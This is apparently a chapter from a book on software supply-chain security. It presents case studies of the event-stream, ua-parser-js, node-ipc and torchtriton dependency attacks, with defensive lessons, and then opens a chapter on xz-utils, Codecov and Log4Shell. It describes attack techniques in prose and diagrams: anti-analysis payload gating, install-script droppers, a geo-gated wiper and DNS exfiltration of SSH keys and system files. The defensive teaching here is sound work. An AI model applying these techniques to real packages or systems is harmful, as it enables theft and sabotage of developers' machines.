A note on accuracy. Each incident here was documented publicly and in detail — by the npm security team, by GitHub and CISA advisories, by Snyk and other vendors, and by the affected projects themselves. Where those sources agree, the text states facts plainly. Where a version number, date, or motive is uncertain or was described only approximately in public reporting, the text says so rather than inventing precision. No CVE numbers, dates, package versions, or quotes appear here that were not published by those sources.

The dependency channel

Chapter 1's anatomy separated the stages of a supply chain: authoring, dependency resolution, build, signing, distribution, and consumption. Chapter 3 attacked the *build* stage. This chapter attacks the *dependency-resolution* stage — and it is worth being precise about why that stage is so exposed.

When you run `npm install express` or `pip install torch`, the package manager resolves a directed graph. `express` does not just install `express`; it installs its dependencies, and *their* dependencies, recursively, until the graph closes. A typical Node service resolves hundreds to low

thousands of packages; the overwhelming majority are **transitive** — dependencies of dependencies you never named and, in practice, never audited. Two properties of this graph make it a superb attack channel:

Execution, not just inclusion. Installing a package is not a passive copy. npm supports lifecycle scripts — `preinstall`, `install`, `postinstall` — that run *arbitrary shell commands during installation*, with the privileges of the user running the installer. pip executes `setup.py` for source distributions, and any code in a package's top-level module runs on first `import`. A dependency, transitive or direct, therefore gets code execution on developer laptops, CI runners, and production build hosts as a matter of routine. The registry is not a document store you read from; it is a code-execution surface you invoke.

Trust by transitivity. You made a decision to trust `express`. You did not make a decision to trust the four-hundredth package in its transitive closure, maintained by a volunteer you have never heard of, whose account security you cannot see and whose next release you will pull automatically the moment your version range permits it. Trust does not compose the way the graph assumes it does. Every edge in the dependency graph is an implicit statement that you trust the target as much as the source — and the graph is large enough that no human ever checks whether that is true.

```
flowchart LR
    A["npm install / pip install"] --> B["Resolve dependency graph  
(hundreds-thousands of pkgs)"]
    B --> C["Fetch tarballs / wheels  
from registry"]
    C --> D{"Lifecycle scripts?"}
    D -->|"preinstall / install / postinstall  
setup.py"| E["Arbitrary code executes  
as installing user"]
    D -->|"none"| F["Files copied to node_modules /  
site-packages"]
    F --> G["Code runs on import / require  
at build or runtime"]
    E --> H["Dev laptop, CI runner,  
build host, prod image"]
    G --> H
```

The four incidents in this chapter each pry at a different joint of this machine. Read them not as a catalogue of bad luck but as a

demonstration that the channel itself — automatic, deep, executing — is the vulnerability, and the specific payloads are interchangeable.

event-stream: a maintainer handoff and a targeted payload

`event-stream` was a popular npm utility library for working with Node streams, authored by **Dominic Tarr**, a prolific and well-respected open-source maintainer. By late 2018 it was being downloaded on the order of **two million times per week** — not because most of those consumers depended on it directly, but because it sat deep in the transitive closure of many other packages. It is the archetype of the small, old, ubiquitous utility that everyone ships and nobody thinks about.

The handoff. Tarr had long since stopped using `event-stream` himself. Like thousands of maintainers of thousands of small libraries, he was carrying an unpaid maintenance burden for software he no longer had any personal stake in. In 2018, a user operating under the npm/GitHub handle **right9ctrl** offered to take over maintenance. Tarr, seeing no reason to refuse free labor on a package he no longer cared about, granted publish rights and handed it over. This is not an exotic event. It is the *normal* lifecycle of abandoned-but-load-bearing open source, and it is precisely the point: the attacker did not break in. He *volunteered*, and the social norms of open source welcomed him.

The injection. Having gained publish rights, right9ctrl published `event-stream@3.3.6`, which added a new dependency: a package called **flatmap-stream**. On its face this was unremarkable — a small stream utility, plausibly useful. The malicious code was not in `event-stream` itself and was not, initially, obviously present in `flatmap-stream` either. Two details made it hard to catch:

- **The payload lived in the published tarball, not the source repository.** The malicious code was present in the minified JavaScript shipped in `flatmap-stream`'s npm package but was absent from the corresponding GitHub source. Anyone auditing the project by reading its repository — the natural thing to do — would see clean code. This is the same *source-versus-artifact divergence* that defined SolarWinds in Chapter 3: what you can review is not what actually ships.

- **The payload was heavily obfuscated and multi-stage.** It did not do anything overtly malicious on a generic machine. It carried an encrypted blob and only came alive under a specific condition, which is what made it so quiet for so long.

The targeting. This is the detail that makes event-stream a landmark rather than just another malicious package. The payload was a two-stage decryption designed to activate in exactly one environment. The first stage decrypted itself using a key derived from the `description` field in the top-level `package.json` of whatever application had pulled the dependency in. In other words, the malware only unlocked when it found itself inside a build whose project metadata matched what the attacker expected. That target was **Copay**, a Bitcoin wallet application published by BitPay (and the related `copay-dash` package). On any other project the decryption produced garbage and nothing happened; inside a Copay build, the second stage decrypted and activated. That stage patched Copay's own wallet code to harvest account details and private keys for wallets above a balance threshold and exfiltrate them to an attacker-controlled server. The affected Copay releases were roughly versions **5.0.2 through 5.1.0**.

Think about what the environment-keyed decryption bought the attacker. A researcher who downloaded `flatmap-stream` to inspect it, or ran it in any context other than a Copay build, would observe *nothing malicious*, because the malicious behavior was cryptographically gated to a target the researcher was overwhelmingly unlikely to reproduce. Targeting was not just about who got robbed; it was a *stealth mechanism*, an anti-analysis measure built directly into the payload — the dependency-channel analogue of SUNBURST's sandbox checks.

```
sequenceDiagram
    participant Att as "right9ctrl (new maintainer)"
    participant Reg as "npm registry"
    participant App as "Downstream app build"
    participant Copay as "Copay wallet build"
    participant C2 as "Attacker server"
    Att->>Reg: "Publish event-stream@3.3.6 (adds flatmap-stream dep)"
    Att->>Reg: "Publish flatmap-stream with obfuscated payload in tarball"
    App->>Reg: "npm install (pulls event-stream → flatmap-stream)"
    Reg->>App: "Deliver package + payload"
    App->>App: "Stage 1 decrypt with package.json description as key"
    Note over App: "Key does not match → garbage → no effect"
    Copay->>Reg: "npm install for Copay build"
    Reg->>Copay: "Deliver package + payload"
    Copay->>Copay: "Stage 1 key matches Copay → decrypt"
    Copay->>Copay: "Stage 2 patches wallet code, harvests keys"
    Copay->>C2: "Exfiltrate wallet keys for balances over threshold"
```

How it was found. The gate that made the payload stealthy is also, indirectly, what exposed it. A developer noticed a **runtime deprecation warning** traced to `flatmap-stream`: the payload used `crypto.createDecipher`, an API Node had deprecated. Pulling that thread — why is this obscure transitive dependency doing crypto at all? — led to the obfuscated blob and then to the whole scheme. The issue was raised publicly on the `event-stream` GitHub repository in **November 2018**, and the npm security team published a detailed post-mortem shortly after (late November 2018). The malicious `flatmap-stream` was removed from the registry.

Lessons. Three, each of which recurs through the rest of this chapter.

- *Maintainer burnout and handoff are a first-class supply-chain risk.* The attack's entire initial-access phase was a polite offer to help. There was no vulnerability to patch. Book 1, Chapter 8 — The Open Source Ecosystem — treats the sustainability crisis this exposes.
- *Transitivity is the blast-radius multiplier.* Almost no victim depended on `event-stream` directly. They depended on something that depended on something that depended on it. Your risk is the whole closure, not the packages you chose.
- *Targeted payloads defeat generic analysis.* A payload that only activates for one victim will survive casual inspection indefinitely. General-purpose scanning is necessary but not sufficient against an adversary willing to gate their code.

ua-parser-js: account takeover and weaponized install scripts

`ua-parser-js` is a small, extremely widely used JavaScript library that parses browser User-Agent strings into structured data. By 2021 it was being downloaded on the order of several million times per week and sat in the dependency graphs of a large fraction of the web ecosystem — again, mostly transitively. Its maintainer is **Faisal Salman**.

The takeover. On **October 22, 2021**, an attacker who had gained control of the maintainer's npm publishing account pushed malicious releases: versions **0.7.29**, **0.8.0**, and **1.0.0**. Note the spread across major-version lines. Publishing a poisoned release on each active line maximizes the chance of matching consumers' version ranges: a project pinned to `0.7.x`, one on `0.8.x`, and one on `1.x` would each pull the corresponding malicious version. This was not a handoff or a maintainer gone rogue; it was straightforward account compromise — the credentials of a trusted publisher used to ship malware under a trusted name.

The payload. The malicious versions carried a `preinstall` **lifecycle script**. This is the crux: the moment any consumer ran `npm install` and resolved one of these versions, the script executed automatically, before the package was even fully installed, with the privileges of the installing user. On a developer laptop that is the developer; on a CI runner it is often a service account with credentials and network reach. The script dropped platform-specific payloads:

- On **Linux**, it fetched and ran a cryptocurrency miner — an **XMRIg**-based Monero miner delivered as a binary the script named `jsexextension`.
- On **Windows**, it ran the same class of miner and additionally dropped a **credential- and password-stealing** component (delivered as a DLL) that harvested secrets from the machine.

So a package whose entire legitimate job is to parse a string became, for anyone who installed the poisoned version, a coin-miner and an infostealer running at install time. There was no exploit and no user interaction beyond the install every CI pipeline performs thousands of times a day.

```

flowchart TD
    A["Attacker takes over  
maintainer npm account"] --> B["Publish 0.7.29, 0.8.0, 1.0.0  
(cover all active version lines)"]
    B --> C["Consumer runs npm install  
range resolves to poisoned version"]
    C --> D["preinstall script runs  
as installing user"]
    D --> E["Linux: XMRig miner (jsexextension)"]
    D --> F["Windows: miner + credential/  
password stealer (DLL)"]
    E --> G["CI runners, dev laptops,  
build hosts, containers"]
    F --> G

```

Detection and response. Salman regained control of the account quickly. He recognized the compromise — reportedly tipped by a flood of unusual account activity — deprecated the malicious versions, and published clean patched releases (**0.7.30**, **0.8.1**, **1.0.1**). A GitHub Security Advisory was issued, and **CISA published an alert on October 22, 2021** warning that a popular npm package had been used to distribute malware and directing consumers to check for and remove the affected versions. Because the malicious versions were live for a matter of hours, the window was short — but with millions of weekly downloads and continuous CI, "a matter of hours" still means a large number of machines.

Lessons.

- *npm account security is supply-chain security.* The entire attack reduces to one compromised publisher credential. Two-factor authentication on registry accounts — later made mandatory by npm for high-impact packages — is the specific control that raises the cost of this class of attack. Package-signing and provenance help downstream consumers *verify* who published, but the first line is not letting the attacker become the publisher.
- *Install scripts are arbitrary code execution and should be treated as such.* The payload needed nothing more than the lifecycle-script feature that npm runs by default. `npm install --ignore-scripts`, and CI that installs with scripts disabled except where explicitly required, removes the automatic-execution primitive this attack depended on. Install-script hardening is developed in Book 2.

- *Download count is a blast-radius proxy.* The reason this incident mattered — and got a CISA alert within hours — is popularity. When you are choosing dependencies, the download count that reassures you ("everyone uses it, it must be fine") is the same number that tells an attacker where to aim. Popularity is an asset for the ecosystem and a target list for the adversary.

node-ipc: when the legitimate maintainer is the attacker

The first two incidents involved an outsider — a volunteer who turned out to be malicious, and a thief who stole a maintainer's credentials. **node-ipc** is categorically different and, for the trust model, more disturbing: the *real, legitimate owner* of the package deliberately turned it into malware.

`node-ipc` is a widely used Node module for inter-process communication, maintained by **Brandon Nozaki Miller**, who publishes under the handle **RIAEvangelist**. It is a transitive dependency of many popular tools — including the Vue.js CLI — so its reach is broad.

The act. In **March 2022**, in response to Russia's invasion of Ukraine, the maintainer added code to `node-ipc` that behaved destructively based on the machine's geography. Versions **10.1.1** and **10.1.2** (published around March 7–8, 2022) contained logic — deliberately obfuscated inside the package — that performed an IP-geolocation lookup and, if the host was determined to be in **Russia or Belarus**, recursively overwrote files on the filesystem with a heart emoji. This is a wiper: destructive, indiscriminate within its target geography, and running with the privileges of whatever process pulled in `node-ipc`. That destructive behavior was assigned **CVE-2022-23812**.

After significant backlash, the destructive versions were pulled, but the maintainer continued to ship a related module, `peacenotwar` (also his own), as a dependency. `peacenotwar`'s behavior was milder — it wrote a file bearing a peace message (a `WITH-LOVE-FROM-AMERICA.txt` on the user's desktop) — but the pattern was the same: a maintainer using his position in millions of dependency graphs to run code expressing a political message on other people's machines. The umbrella term that emerged for this is **protestware**: software sabotaged or repurposed by its own author to make a political point.

Why this is a trust-model problem, not a bug. Stop and consider what defenses this defeats. The malicious code was signed — insofar as anything on npm is — by the *genuine* maintainer. It was published from the *legitimate* account, using the *correct* credentials, with the *correct* 2FA. There was no account takeover, no stolen key, no source-versus-artifact divergence in the sense of an intruder hiding something. Every provenance and signing control we will spend Book 5 building answers the question "was this really published by the maintainer of record?" — and here the answer is an emphatic *yes*. The maintainer of record is the attacker.

This is the uncomfortable ceiling on provenance. Provenance binds an artifact to an identity and a process; it proves the chain is intact. It cannot tell you that the person at the end of an intact chain has decided to harm you. When your threat model includes the maintainer themselves — burnout, coercion, ideology, a bad day — signatures and attestations are simply the wrong tool. The tools that help are the ones that constrain *behavior* regardless of who authored it: install-script sandboxing, `--ignore-scripts`, egress control, pinning to reviewed versions rather than floating ranges, and staging updates through an internal registry (below) so a hostile release does not reach production the instant it is published.

Lessons.

- *"Legitimate but malicious" is a real quadrant of the threat model.*
Most controls implicitly assume the maintainer is on your side and the problem is an impostor. node-ipc is the standing counterexample.
- *Floating version ranges let a hostile release auto-propagate.*
Consumers with `^` or `~` ranges pulled the destructive versions automatically. A lockfile that pins exact versions and is only updated through review turns "the maintainer shipped a wiper at 3am" into "a proposed version bump that a human looks at."
- *Protestware corrodes the ecosystem's trust baseline.* The lasting damage is not the files overwritten; it is that node-ipc demonstrated, publicly, that a trusted maintainer *will* sometimes weaponize their reach — which forces every serious consumer toward defense-in-depth that assumes exactly that.

PyTorch / torchtriton: dependency confusion in the Python ecosystem

The fourth incident abused neither a handoff, a stolen credential, nor a maintainer's intent. It abused the *resolution algorithm itself* — specifically, how `pip` chooses between multiple package indexes. This is **dependency confusion** (also called substitution or namespace confusion), and the PyTorch case is its clearest ecosystem-scale illustration.

The setup. PyTorch's **nightly** builds depended on a package named `torchtriton` — a wrapper around Triton, the GPU-kernel compiler. That dependency was intended to be pulled from **PyTorch's own package index** (`download.pytorch.org`), not from public PyPI. Users installed nightly builds with a command that pointed `pip` at PyTorch's index in addition to the default.

Here is the flaw, and it is a flaw in the *default composition of indexes*, not in PyTorch's code. When `pip` is given an extra index (or when the default PyPI index remains in play alongside a private one), and a package name exists in **both** indexes, `pip` does not treat the private index as authoritative for that name. It considers candidates from all configured indexes and applies its normal selection — and in this configuration, the public PyPI copy took precedence. So if an attacker uploads a package to **PyPI** with the *same name* as a package you host privately, `pip` may fetch the attacker's public package instead of your intended private one.

The attack. Between roughly **December 25 and December 30, 2022**, a malicious package named `torchtriton` was present on **PyPI**. Because PyPI took priority in the resolution, users who installed the PyTorch nightly during that window pulled the **malicious PyPI torchtriton** rather than the benign one from PyTorch's index. The malicious package carried a binary that ran on import and functioned as an infostealer. Per PyTorch's published advisory, it collected system fingerprinting and secrets, including: the machine's **nameserver information** (`/etc/resolv.conf`), **hostname**, **current username**, the contents of `/etc/hosts` and `/etc/passwd`, the user's **.gitconfig** and **SSH keys** (`~/.ssh`), and up to the first **1,000 files** in the user's home directory. It exfiltrated this data by **encoding it into DNS queries** to an attacker-controlled domain (`*.h4ck.cfd`) — a DNS-tunnelling channel that blends

into ordinary name-resolution traffic and often survives egress filtering that would block direct HTTP.

```
flowchart TD
    A["pip install --pre torch  
with extra index = download.pytorch.org"] --> B["Resolve dependency  
'torchtriton'"]
    B --> C["Candidate: PyPI  
(public, default index)"]
    B --> D["Candidate: download.pytorch.org  
(intended private index)"]
    C --> E["Same name in both indexes:  
which wins?"]
    D --> E
    E --> F["PyPI takes precedence"]
    E --> G["Install MALICIOUS torchtriton  
from PyPI"]
    F --> H["Binary runs on import"]
    G --> I["Collect hostname, /etc/hosts,  
/etc/passwd, .gitconfig, ~/.ssh, 1000 home files"]
    I --> J["Exfiltrate via DNS queries  
to *.h4ck.cfd"]
```

Response. PyTorch published an advisory around the **end of December 2022 / early January 2023**. Their remediation is instructive because it is the standard defensive playbook for dependency confusion: they **renamed** the real dependency from `torchtriton` to `pytorch-triton` and **registered a placeholder `torchtriton` package on PyPI themselves** so that no attacker could re-claim the abandoned name. They advised anyone who had installed the nightly during the affected window to uninstall it and the malicious package and rotate any secrets that might have been exposed. The person who uploaded the package publicly claimed it was **research** — a demonstration of the confusion technique rather than a criminal operation — a claim that echoes the broader dependency-confusion research disclosed in 2021. Whatever the intent, the payload exfiltrated real secrets from real machines, which is precisely why "it was just research" is not an exculpatory technicality for anyone whose SSH keys left the building.

Lessons.

- *Index priority is a security property, not a convenience setting.* The vulnerability is that a private name and a public name collide and the public side wins. The fix is **isolation**: never let a private dependency be satisfiable from a public index. Concretely, that means using `--index-url` (which *replaces* the index set) rather than `--extra-index-`

`url` (which *adds* to it) for private packages, pulling everything through a single controlled index/proxy that merges upstreams under your policy, and defensively registering your internal package names on the public registry so no one else can. The full mechanics — pip's resolution order, namespace reservation, scoped registries — are the subject of Book 2, Chapter 3.

- *Dependency confusion is a configuration attack.* No package was compromised; no maintainer was malicious; no credential was stolen. The attacker simply published a public package with a name your tooling would prefer. It is a property of how you compose indexes, and it is on by default in the most natural-looking install command.

Adjacent incidents, same patterns

The four core cases are not isolated. Two brief pointers reinforce that they are instances of recurring structure rather than freak events.

colors.js / faker.js (January 2022): self-sabotage. The maintainer **Marak Squires** intentionally sabotaged his own widely used npm packages `colors` and `faker`. He pushed a release of `colors` that entered an infinite loop printing garbage (including a "LIBERTY LIBERTY LIBERTY" banner and corrupted text), and effectively emptied `faker`. Both were transitive dependencies of enormous numbers of projects, so the breakage cascaded widely. The motive was a protest over the economics of unpaid maintenance of software that large companies profit from — the same maintainer-relationship fault line as `node-ipc`, expressed as denial-of-service rather than as a wiper. Together, `colors.js` and `node-ipc` mark early 2022 as the moment "the maintainer did it on purpose" became an operational category the industry could no longer wave away.

The 2023-2024 malware wave. In the years since, automated, high-volume malicious-package campaigns became routine on both npm and PyPI: typosquats (packages named to be mistyped versions of popular ones), mass-uploaded infostealers, and install-script droppers, published by the thousands and taken down continuously. The individual packages are usually low-quality and short-lived; the significance is the shift from *rare, targeted* dependency attacks like event-stream to *industrialized background radiation* that any consumer of a public registry now lives in. Malicious-package analysis at this scale is the subject of Book 2, Chapter 4.

Synthesis: four mechanisms, one channel

The value of these four incidents is that they abuse the *same channel* through *four different mechanisms* and are stopped by *four different controls*. Lay them side by side:

Dimension	event-stream (2018)	ua-parser-js (2021)	node-ipc (2022)	PyTorch / torchtriton (2022)
Attacker type	Volunteer takeover (social)	Credential/ account takeover	Legitimate maintainer (protestware)	Dependency-confusion researcher/ attacker
Abused channel	Maintainer handoff + transitive dep	Compromised publish credential	Trusted maintainer's own reach	Public/ private index name collision
How the payload ran	Runtime, patched Copay wallet code	preinstall lifecycle script	Runtime, on require of node-ipc	On import of malicious package
Payload	Targeted, env-keyed key stealer	XMRIg miner + credential stealer	Geo-gated file wiper (heart emoji)	Infostealer, DNS exfil of secrets
Targeting	One victim (Copay), crypto-gated	Broad, all consumers	Geo-gated (RU/ BY)	Broad, anyone installing nightly
Identifier	npm advisory (Nov 2018)	GitHub advisory + CISA alert	CVE-2022-23812	PyTorch advisory (Dec 2022)
Signature/ provenance would help?	Partly (source vs artifact)	Yes (verify publisher)	No — maintainer is the attacker	No — resolution, not authorship

Dimension	event-stream (2018)	ua-parser-js (2021)	node-ipc (2022)	PyTorch / torchtriton (2022)
Control that mattered most	Dependency review + lockfile	2FA + <code>--ignore-scripts</code>	Pinning + install sandboxing	Index isolation (<code>--index-url</code>)

Read down the "control that mattered most" column and the central lesson of the chapter appears: **there is no single defense against the dependency channel, because the channel is abused at different joints**. A 2FA mandate that would have stopped ua-parser-js does nothing against node-ipc, where the credentials were never stolen. Provenance that would help you notice an impostor is useless when the maintainer of record is the attacker. Index isolation that defeats dependency confusion is irrelevant to a targeted payload inside a legitimately named package. Defending the channel is inherently a defense-in-depth problem.

Still, some controls recur across multiple cases and are worth extracting:

- **Lockfiles with integrity hashes.** A lockfile (`package-lock.json` , `yarn.lock` , `poetry.lock` , `pip` 's hash-checking mode) pins the *exact* version and *cryptographic hash* of every resolved dependency, transitive included. It does two things at once: it stops a floating range from silently pulling a newly poisoned minor version (the node-ipc and event-stream auto-propagation vector), and its integrity hashes detect a tarball that was swapped out from under a version number. Lockfiles do not judge whether code is malicious; they make dependency changes *explicit and reviewable* instead of automatic.
- **`--ignore-scripts`** . Disabling install-time lifecycle scripts removes the arbitrary-code- execution-at-install primitive that ua-parser-js relied on entirely and that the 2023-2024 wave leans on constantly. Most legitimate packages do not need install scripts; the ones that do can be allow-listed. This is one of the highest-leverage single settings available to a consumer.
- **Dependency review.** Human or automated review of *what changes* when a dependency is added or bumped — new transitive packages, new maintainers, new install scripts, sudden version jumps — is what caught event-stream (a developer asking "why is this doing crypto?").

Tooling that surfaces these diffs at pull-request time turns the review into something that scales.

- **Index isolation.** Never let a private dependency be satisfiable from a public registry. Use a single controlled index/proxy, replace rather than extend the index set for private packages, and reserve your internal names publicly. This is the specific and complete answer to dependency confusion.
- **Provenance and signing.** Verifying who published a package and how it was built raises the cost of impostor-style attacks (ua-parser-js) and closes source-versus-artifact gaps (event-stream's tarball). It is necessary but — as node-ipc proves — not sufficient, because it cannot vet the intent of a legitimate author.

These threads are picked up in depth later. Dependency confusion is Book 2, Chapter 3. Malicious-package analysis is Book 2, Chapter 4. Install-script hardening runs through Book 2. Provenance and signing are Book 5.

Distributed-systems lens

Everything above is uncomfortable for a single application. At **fleet scale** it becomes a structural problem, and the reframing a senior backend engineer needs is about *aggregation* and *chokepoints*.

The fan-out is the whole game. A large organization does not run one dependency graph; it runs hundreds — one per service — and those graphs overlap heavily. The same handful of ubiquitous utilities (`event-stream` -shaped packages: small, old, everywhere) appear in the transitive closure of most of your services. That overlap means a *single* popular package's compromise is not one incident; it is a simultaneous incident across every service that resolves it. When ua-parser-js was poisoned, an organization with three hundred Node services did not have one exposed pipeline — it had every CI job that ran `npm install` on an affected range in the exposure window, all at once, each running the install script as whatever identity that runner holds. The economics that make transitive dependencies efficient (write once, reuse everywhere) are exactly what make their compromise a fleet-wide event. Popularity concentrates risk.

High deploy frequency compresses the reaction window. In an organization that ships continuously, a poisoned dependency does not sit in a staging queue waiting for a human. A build pulls it, an automated

pipeline promotes it, and it reaches production in minutes — potentially before the registry has even pulled the malicious version and before any advisory exists. The ua-parser-js window was hours; a fully automated CD pipeline can turn hours of registry exposure into production deployment across many services with no human in the loop.

The internal registry as a chokepoint. The single most valuable architectural move against all of this is to stop letting services talk to public registries directly and route everything through a **curated internal registry or proxy** — Artifactory, Nexus, Verdaccio, a private PyPI index, or a cloud equivalent. Directly, this closes the dependency-confusion hole: the proxy is the *only* index, it merges upstreams under your policy, and a public package cannot outrank a private one because your services never see the public index. But the deeper value is that a chokepoint is where you get **observability, control, and rollback**:

- *Detection.* Every package your fleet pulls flows through one place, so you can scan it, diff it against known-good, flag new maintainers or newly added install scripts, and enforce allow-lists — once, centrally, instead of per-service.
- *Caching and immutability.* A proxy that caches and pins the exact artifacts your fleet has already vetted means a package pulled last week does not silently become a different tarball this week; you serve what you approved.
- *Rollback and blast-radius containment.* When an advisory lands, a single control point lets you block a version across the entire fleet in one action, and tell — from the proxy's logs — exactly which services pulled the bad version and when. Without the chokepoint, answering "who is exposed?" means auditing hundreds of independent lockfiles under time pressure.

None of the four incidents in this chapter would have been *prevented* purely by an internal registry — a curated proxy that mirrored the poisoned ua-parser-js during its live window would have cached the poison too. But every one of them would have been *contained and detected* faster: the proxy is where you notice the anomalous install script, where you enforce `--ignore-scripts` and lockfile policy fleet-wide, and where you slam the door once you know. In a distributed backend, the argument for a curated registry is not developer convenience or bandwidth. It is that you cannot govern a channel you do not funnel, and the dependency channel is the one that reaches every service you run.

The through-line from event-stream to torchtriton is a single reframing: **your production software includes every line of code in the transitive closure of your dependency graphs, executed with your privileges, updated on someone else's schedule.** The point of the controls in this chapter — and the deeper machinery in Books 2 and 5 — is to convert that closure from something that happens *to* you automatically into something you *govern* deliberately.

Key takeaways

- The dependency channel is exposed by two properties working together: package managers **execute code** at install (lifecycle scripts, `setup.py`) and at import, and they do so across a large **transitive** graph you never individually audited. The registry is a code-execution surface, not a document store.
- **event-stream (2018)**: a maintainer handoff to the volunteer `right9ctrl` planted the `flatmap-stream` dependency, whose obfuscated payload lived in the published tarball (not the source repo) and was *environment-keyed* to decrypt and activate only inside a Copay Bitcoin wallet build to steal keys. Targeting doubles as anti-analysis; it was found via a deprecation warning on an odd transitive dependency.
- **ua-parser-js (2021)**: an account takeover shipped malicious 0.7.29 / 0.8.0 / 1.0.0 whose `preinstall` script dropped an XMRig miner (Linux/Windows) and a credential stealer (Windows). Maintainer Faisal Salman regained control and published clean versions; a CISA alert followed on October 22, 2021. Lessons: registry 2FA, `--ignore-scripts`, and download count as a blast-radius proxy.
- **node-ipc (2022)**: the legitimate maintainer (RIAEvangelist) turned his own package into protestware — a geo-gated file wiper against Russia/Belarus (CVE-2022-23812) plus the `peacenotwar` message dropper. Because the maintainer of record is the attacker, signing and provenance do not help; behavioral controls (pinning, install sandboxing, staging through an internal registry) do.
- **PyTorch / torchtriton (2022)**: a malicious `torchtriton` on public PyPI shadowed the intended dependency from PyTorch's own index; because pip let the public index take precedence, nightly installs (Dec 25–30, 2022) pulled the malicious package, which exfiltrated `hostname`, `/etc/passwd`, `/etc/hosts`, `.gitconfig`, SSH keys, and up

to 1,000 home-directory files via DNS. The fix is **index isolation** (`--index-url` , single controlled proxy, reserved names).

- The four share a channel but abuse different joints, so **no single control defends all of them**: 2FA stops `ua-parser-js` but not `node-ipc`; provenance catches impostors but not a hostile legitimate maintainer; index isolation defeats confusion but not a targeted payload. Dependency security is inherently defense-in-depth.
- Recurring high-leverage controls: **lockfiles with integrity hashes** (stop auto-propagation and detect swapped tarballs), **`--ignore-scripts`** (remove install-time code execution), **dependency review** (surface new maintainers/scripts/version jumps), **index isolation**, and **provenance/signing** (necessary, not sufficient).
- At fleet scale a popular package's compromise is a **simultaneous, fan-out** event across every service that resolves it, and high deploy frequency compresses the reaction window to minutes. A **curated internal registry/proxy** is the chokepoint that gives you detection, policy enforcement, and one-action rollback across the whole fleet — you cannot govern a channel you do not funnel.

Further reading

- npm (GitHub) Security team, "Details about the event-stream incident" (November 26, 2018) — the official post-mortem of the flatmap-stream compromise and the Copay-targeted payload.
- The original `event-stream` GitHub issue thread (issue #116, November 2018) in which the malicious `flatmap-stream` dependency was first flagged and analyzed publicly.
- GitHub Security Advisory and CISA alert on the `ua-parser-js` compromise (October 22, 2021) — affected versions and the miner/credential-stealer payloads.
- Snyk, "A post-mortem of the malicious event-stream backdoor" and Snyk's analysis of the `node-ipc` / `peacenotwar` protestware (March 2022), which documents the geo-gated wiper and CVE-2022-23812.
- The National Vulnerability Database entry for **CVE-2022-23812** (`node-ipc`) for the authoritative scope of the destructive behavior.
- PyTorch, "Compromised nightly dependency - torchtriton" advisory (late December 2022 / early January 2023) — the dependency-

confusion mechanism, the exact data exfiltrated, and the rename-and-reserve remediation.

- Alex Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (February 2021) — the foundational public research on the index-priority attack class that the torchtriton incident instantiates (developed further in Book 2, Chapter 3).
- pip documentation on `--index-url` vs `--extra-index-url` and hash-checking mode; npm documentation on `--ignore-scripts`, `package-lock.json`, and mandatory 2FA for high-impact packages — the primary-source basis for the mitigations in this chapter. ``

Chapter 5 — Case Studies III: xz-utils, Codecov, and Log4Shell

What this chapter covers. This is the third and final case-study chapter of Book 1, and it deliberately widens the aperture. Chapters 3 and 4 examined attacks that share a shape: an adversary tampers with an artifact — a build, a published package — and the tampered artifact flows down the trust chain to victims. This chapter presents three incidents that refuse to share a shape. The first, **xz-utils / CVE-2024-3094** (2024), is the most patient and technically elegant open-source implant yet discovered: a multi-year social engineering campaign that ended with a backdoor hidden not in source code but in binary *test fixtures*, assembled only during the release build. The second, the **Codecov Bash Uploader** compromise (2021), is a compromise of a third-party CI tool that ran inside thousands of other organizations' pipelines and quietly exfiltrated their secrets for months. The third, **Log4Shell / CVE-2021-44228** (2021), is not a supply chain *attack* at all — no adversary implanted anything — but a latent vulnerability in a dependency so ubiquitous and so deeply buried that the ecosystem's inability to answer "where do I even have this?" became the story. Together they map three distinct failure modes: the deliberate long-con implant, the compromised shared tool, and the ecosystem-wide latent flaw you didn't know you were carrying.

Learning goals — after this chapter you should be able to:

- Reconstruct the xz-utils social-engineering timeline and explain how maintainer burnout, sockpuppet pressure, and a slow-built trust relationship converged to hand an adversary commit and release authority over a critical compression library.
- Explain the xz payload mechanism precisely: why the backdoor was invisible in the git tree, how the crafted `.xz` test files plus a doctored `build-to-host.m4` in the release *tarball* assembled malicious object code during `./configure`, and how the resulting hook reached `sshd` through the `liblzma` → `libsystemd` linkage on patched OpenSSH.
- Describe how Andres Freund found it — a 500ms latency regression and Valgrind noise — and why the discovery is best understood as extraordinary luck rather than a working control.
- Explain the Codecov Bash Uploader mechanism: the credential exposed by a Docker image build error, the altered uploader script, and the exfiltration of CI environment variables — and why `curl | bash` of a remotely hosted script is the underlying anti-pattern.
- Frame Log4Shell correctly as a *vulnerability*, not an implant, and articulate why "a known-vulnerable transitive dependency you didn't know you had" is a supply chain problem even absent an attacker.
- Map each incident to the controls developed later in the series: build-from-source and contributor trust (xz), script integrity and CI secret hygiene (Codecov), and SBOMs plus reachability analysis (Log4Shell).

A note on accuracy. The xz backdoor was analyzed in public within days by Andres Freund, the openwall community, Filippo Valsorda, the FreeBSD and Debian security teams, and many others; the mechanism is well established. Its *attribution* is not. As of this writing no government or vendor has publicly, conclusively attributed the operation to a named actor; the widespread assessment that it was a well-resourced, likely state-aligned effort is an inference from tradecraft and patience, and this chapter labels it as such. The Codecov and Log4j facts here come from Codecov's own disclosures and the Apache Log4j security advisories respectively. No dates, CVE numbers, or figures appear that were not published by those sources.

Three failure modes, one supply chain

It is worth naming the three shapes before diving in, because the instinct after Chapters 3 and 4 is to look for an attacker and an artifact. Only one of these three fits that pattern cleanly.

- **xz-utils** is a *deliberate implant*, like SolarWinds — but where SolarWinds compromised a build *server*, xz compromised the *maintainership* itself. The attacker did not break in; they were let in, over years, through the front door of open-source contribution. The artifact was a release tarball that differed from the public git history.
- **Codecov** is a *compromised shared tool*. Codecov itself was the victim of an initial breach, but the damage flowed outward to Codecov's *customers*, whose CI pipelines executed Codecov's altered script with full access to their own secrets. This is the "your CI tool is a fleet-wide dependency" failure mode.
- **Log4Shell** has *no attacker in the supply chain at all*. A ubiquitous logging library shipped a feature (JNDI lookups in log messages) that turned out to be a remote code execution primitive. The supply chain angle is entirely about *response*: once the flaw was public, every organization on Earth running JVMs had to answer, urgently, "do I have this, and where?" — and most could not.

Holding these three side by side is the point of the chapter. A mature supply chain security program has to defend against all three, and the controls differ. You cannot SBOM your way out of a maintainer being socially engineered, and you cannot vet contributors your way out of a zero-day in a dependency you already trust.

xz-utils: the anatomy of a long con

What xz is, and why it mattered

